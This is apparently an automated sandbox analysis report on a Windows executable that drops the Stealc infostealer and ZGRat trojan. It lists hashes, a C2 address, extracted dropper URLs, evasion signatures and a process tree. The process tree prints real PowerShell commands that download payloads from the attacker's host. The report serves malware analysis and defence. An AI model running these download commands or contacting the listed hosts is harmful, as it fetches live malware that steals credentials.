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Analysis

  • max time kernel
    138s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09/05/2024, 15:43

General

  • Target

    file.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2192
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nso170B.tmp\est.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2088
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1980
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Users\Admin\AppData\Local\Temp\u26w.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u26w.0.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1448
        • C:\Users\Admin\AppData\Local\Temp\u26w.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u26w.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:1900
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2536
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2852

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    2d141763560d75ef3806bbb184116efc

    SHA1

    d7a9f781c2227c38a51e0b04acbdbb24754a9e58

    SHA256

    dcaed3e0575cf8540d1e74f5a02cd86cc063e8c150bb96cd10a879e7f6a21ee2

    SHA512

    f3ee8440da3be3ae49881a12857e9d541ffa5d6ad43e4a9fc9e6aab78f67ddea0ee81693af3703057ef58ac5fc39bfc76174839e0f5017212d783dcc0bf265d4

  • C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\f40fa09571ae3e4604ca1ef5093c12d04345052412cd199086553bfab6d3b7c7\c6607b1b3e484a0a9ca2fcdf1e442d27.tmp

    Filesize

    1KB

    MD5

    ada6dd38441f278f6bf470e4767f5348

    SHA1

    c26cc9edf9bfdb766604e85d7b8b3b1c8d7fa73c

    SHA256

    8832e3c8aa80cc243b4cf2a965e152fc93c6eecc5475e9dff1a9b7db66ff38a1

    SHA512

    5ed80ec15a59a42f8d2eb30d637a746d3db6953025e38d176b69a08493b3b178f65963eb87cac8eb2ee0dca805317779340846ed03d9c4c6ff49e2f0e7d4d9a2

  • C:\Users\Admin\AppData\Local\Temp\Tar1A2E.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    382KB

    MD5

    278218d2ac13d2d7134e6e9a0828e4d5

    SHA1

    05066b895c41396d0321bc3a032f2f7c2e1811e3

    SHA256

    c697ba11d34c3fcce2efe3d2699c68c933f986b36ccb6b9fb0e9c08fcbcfa7e0

    SHA512

    f1e41a457c01a6ad0ac00e3a004023429d644b1a9bb193afd277f333f1bd4bd00059e37c6df2565b9c7e8bda3cbe3f713b2d39d04ca0c5ad169788efdb230b7d

  • C:\Users\Admin\AppData\Local\Temp\nso170B.tmp\est.bat

    Filesize

    735B

    MD5

    f32d05160acf8325e9a09f09f80d16f4

    SHA1

    46e159b71e6ef99076c4002e1fda134e1d0a86c9

    SHA256

    da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

    SHA512

    147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    df0c6c021327997a15b5babbf032401e

    SHA1

    12e73d02476ea9131a860e8ec8489de284fa2229

    SHA256

    37d1ed12718de3a77b3708f49ee8d4dad5dfdadf71fea05c8143e451ce1a70ce

    SHA512

    3ec4d14e7f612456dcfb816afbe140e688d0fabde44f6d539b9265b788d94d65a8b3e6bc9e0ec5dca8a04cfb9d738eac6a50ed1297f068475c8cc5389e8cfab0

  • \Users\Admin\AppData\Local\Temp\nso170B.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • \Users\Admin\AppData\Local\Temp\u26w.0.exe

    Filesize

    218KB

    MD5

    5246be38e251c182f838adf4ef42ad40

    SHA1

    fe09ba5ee40d4c4897c8f8e3fa819c13b0e324d9

    SHA256

    7dbf762b2ef2b651a4e8c7b7d9b8996a1de0cfa44119452f1d3f29bfe03dfd86

    SHA512

    a3f7c75a2355935d19c733d67aeff3e08f382ae60c1ba45364974ff91ca779ac5e49c40475fe35b8923a130e8670de0311fdf3c03de935312869e9a9a8b21b14

  • \Users\Admin\AppData\Local\Temp\u26w.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • memory/1448-325-0x0000000000400000-0x0000000002AF3000-memory.dmp

    Filesize

    38.9MB

  • memory/1448-316-0x0000000000400000-0x0000000002AF3000-memory.dmp

    Filesize

    38.9MB

  • memory/1448-307-0x0000000000400000-0x0000000002AF3000-memory.dmp

    Filesize

    38.9MB

  • memory/1448-281-0x0000000000400000-0x0000000002AF3000-memory.dmp

    Filesize

    38.9MB

  • memory/1900-264-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/2088-162-0x00000000027C0000-0x0000000002800000-memory.dmp

    Filesize

    256KB

  • memory/2536-269-0x0000000000E80000-0x0000000000E94000-memory.dmp

    Filesize

    80KB

  • memory/2536-267-0x0000000000380000-0x0000000000390000-memory.dmp

    Filesize

    64KB

  • memory/2536-273-0x000000001E110000-0x000000001E13A000-memory.dmp

    Filesize

    168KB

  • memory/2536-274-0x000000001E680000-0x000000001E732000-memory.dmp

    Filesize

    712KB

  • memory/2536-272-0x000000001E060000-0x000000001E06A000-memory.dmp

    Filesize

    40KB

  • memory/2536-275-0x0000000000350000-0x000000000035A000-memory.dmp

    Filesize

    40KB

  • memory/2536-279-0x000000001FFB0000-0x00000000202B0000-memory.dmp

    Filesize

    3.0MB

  • memory/2536-283-0x0000000000370000-0x000000000037A000-memory.dmp

    Filesize

    40KB

  • memory/2536-282-0x0000000000370000-0x000000000037A000-memory.dmp

    Filesize

    40KB

  • memory/2536-270-0x000000001E040000-0x000000001E064000-memory.dmp

    Filesize

    144KB

  • memory/2536-286-0x0000000000C40000-0x0000000000C62000-memory.dmp

    Filesize

    136KB

  • memory/2536-285-0x0000000000E00000-0x0000000000E62000-memory.dmp

    Filesize

    392KB

  • memory/2536-284-0x0000000000C30000-0x0000000000C3A000-memory.dmp

    Filesize

    40KB

  • memory/2536-289-0x0000000000C60000-0x0000000000C6C000-memory.dmp

    Filesize

    48KB

  • memory/2536-293-0x0000000000370000-0x000000000037A000-memory.dmp

    Filesize

    40KB

  • memory/2536-268-0x0000000000E90000-0x0000000000E9C000-memory.dmp

    Filesize

    48KB

  • memory/2536-266-0x000000001EFB0000-0x000000001F0BA000-memory.dmp

    Filesize

    1.0MB

  • memory/2536-265-0x0000000000EA0000-0x00000000046D4000-memory.dmp

    Filesize

    56.2MB

  • memory/2840-224-0x0000000000400000-0x0000000002B1D000-memory.dmp

    Filesize

    39.1MB